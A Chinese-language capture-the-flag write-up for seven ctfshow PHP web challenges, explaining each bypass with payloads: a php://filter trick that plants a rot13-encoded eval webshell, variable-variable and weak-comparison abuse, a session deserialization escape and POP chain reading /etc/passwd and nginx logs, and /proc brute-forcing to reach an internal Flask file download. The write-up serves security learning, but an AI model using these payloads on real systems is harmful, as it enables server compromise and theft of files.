前言
过年的时候在打hgame,看了下这个新春赛的题目还是有一定难度的,这里补个票。
热身
查看源码:
1 | eval($_GET['f']); |
相当简单粗暴,但是有一个疑点,没有highlight_file(__FILE__);
代码但是却显示了代码,因此怀疑有包含,不过直接上phpinfo就能找到flag位置了:
1 | ?f=phpinfo(); |
web1
查看源码:
1 | highlight_file(__FILE__); |
很明显这里要绕过这个死亡exit()
,这里要利用php://filter
伪协议写入shell,payload如下:
1 | ?content=php://filter/write=string.rot13|<?cuc @riny($_cbfg["zey64"]);?>/resource=shell.php |
然后蚁剑连接即可。
web2
查看源码:
1 | highlight_file(__FILE__); |
首先函数开启session()
,接着发现我们可以POST传入一个东西进去,并且我们传进去的东西会先执行extract()
函数,最后判断call_user_func($$$$$${key($_POST)}
的值是否为HappyNewYear。
了解逻辑后,我们开始构建payload。首先我们POST传值:
1 | session_id=session_id |
这样进行extract($_POST);
时,我们会得到$session_id=session_id
这个结果,而${key($_POST)}
表示的就是以我们POST的变量名做为新变量的变量名,这样套个娃就会发现if中的语句就变成了call_user_func($session_id)==="HappyNewYear"
,因此我们更改PHPSESSID的值就可以了。
完整payload:
1 | POST:session_id=session_id |
web3
查看源码:
1 | highlight_file(__FILE__); |
这题刚开始看着懵懵的,但其实想清楚后就感觉不是很难。本质上这题考的就是一个弱类型比较,只要$key能够得到一个bool(true)
就可以解决了,因此这题考的就是对函数的熟悉程度了。
找了几个payload,都可以解决这个问题:
1 | ?1=session_start |
web4
查看源码:
1 | highlight_file(__FILE__); |
这题看着就更麻了,看了wp才懂。这里要用到一个函数:spl_autoload_extensions()
。
spl_autoload_extensions(file_extensions) — 注册并返回 spl_autoload 函数使用的默认文件扩展名
file_extensions:当不使用任何参数调用此函数时,它返回当前的文件扩展名的列表,不同的扩展名用逗号分隔。要修改文件扩展名列表,用一个逗号分隔的新的扩展名列表字符串来调用本函数即可。默认的 spl_autoload 函数使用的扩展名是 “.inc,.php”。
因此我们GET传入这个函数,就会生成一个内容为一句马的,名字叫.inc,.php
的shell文件,之后命令执行即可。payload:
1 | 第一步:?1=spl_autoload_extensions |
web5
查看源码:
1 | error_reporting(0); |
逻辑就是将flag写入文件🐯
中,但是最后会把$🐯
的内容写入,从而导致flag被覆盖。因此我们要利用str_replace()
函数的特性,上传超长字符串导致溢出从而使得出现致命错误导致变量命名失败,这样就可以绕过最后的写入了。
根据计算,需要2097152个hu才能溢出,因此用python生成:
1 | hu = 'hu' |
用bp传值,然后下载文件即可获取flag。
web6
查看源码:
1 | error_reporting(0); |
反序列化相关的题真的好难。审计源码首先我们需要$function='GET'
,接着要利用file_get_contents
读取文件,看了wp后了解到应该要读取nginx日志/var/log/nginx/access.log
。
这里应用到反序列化逃逸这个知识点,构建payload:
1 | GET[_SESSION][ctfshowdaniu]=s:1:";s:1:"1";s:4:"file";s:36:"L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==";} |
这个payload我啃了好久才啃懂。
extract($_POST['GET']);
,我们需要POST一个数组GET[_SESSION][ctfshowdaniu]
,这样传进去就可以得到$_SESSION
数组变量,ctfshowdaniu是数组变量中的一个键。
接着要进行字符串逃逸,因此我们要利用到filter函数。首先我们来看看SESSION一开始的序列化内容:
1 | a:2:{s:12:"ctfshowdaniu";s:70:"s:1:";s:1:"1";s:4:"file";s:36:"L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==";}";s:4:"file";s:16:"L3Jvb3QvZmxhZw==";} |
而利用这个函数后吞掉了ctfshowdaniu,因此序列化内容变成了下面这个:
1 | a:2:{s:12:"";s:70:"s:1:";s:1:"1";s:4:"file";s:36:"L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==";}";s:4:"file";s:16:"L3Jvb3QvZmxhZw==";} |
那么替换成空后,又需要12个字符,因此后面的12个字符";s:70:"s:1:
就被当做了字符串处理。而这个70被屏蔽后payload长度就没有限制了,因此后面";s:4:"file";s:16:"L3Jvb3QvZmxhZw==";}
的部分就不会有作用了。
最后查看日志得到信息,访问http://127.0.0.1/ctfshow
得到flag。
web7
查看源码:
1 | <?php |
class.php:
1 | $happy=new Happy(); |
我现在修成归来,首先查看phpinfo:
完美符合Session反序列化的特征,接下来重点就是分析pop链了。审计代码,发现file_get_contents()
函数存在于Year类的show()
中,那么这里就是pop链的终点。为了达到这个终点,我们发现Year类的__toString()
魔术方法中有调用,因此我们要让$zodiac
的值为Year类的实例化对象。而为了到达这个魔术方法,我们要用到_New_类中的__toString()
魔术方法,因为这个魔术方法中存在$this->daniu->$robot=$this->notrobot
。因此我们要触发__get()
魔术方法,其中的字符串拼接可以触发_NEW_类中的__toString()
。而要触发__get()
魔术方法需要访问一个不存在的变量,我们可以利用Happy类的__destruct()
来进行触发。
因此pop链的逻辑如下:
1 | Happy:__destruct() -> _NEW_:__get() -> _NEW_:__toString() -> Year:__toString() -> Year:show |
编写exp:
1 | <?php |
payload:
1 | |O:5:\"Happy\":1:{s:5:\"happy\";O:5:\"_New_\":3:{s:5:\"daniu\";O:5:\"_New_\":3:{s:5:\"daniu\";O:4:\"Year\":1:{s:6:\"zodiac\";N;}s:5:\"robot\";s:6:\"zodiac\";s:8:\"notrobot\";s:11:\"/etc/passwd\";}s:5:\"robot\";N;s:8:\"notrobot\";N;}} |
然后构造表单上传文件,更改filename为payload,得到任意文件读取:
1 | <form action="http://cd050ab5-a6ad-4f28-b9eb-195f497f0319.challenge.ctf.show/" method="POST" enctype="multipart/form-data"> |
这一步是看wp学到的,这里要读取/proc目录,而/proc/{pid}/cmdline 是所有用户均可读的,可以编写脚本爆一下进程id的cmdline:
1 | import requests |
发现114进程存在server.py
,读取源码:
1 | from flask import * |
虽然flag被删了,但是flask在5000端口有一个server,且有一个任意读取路径,因此读取:
1 | http://127.0.0.1:5000/download/?filename=/proc/self/fd/3 |
得到flag。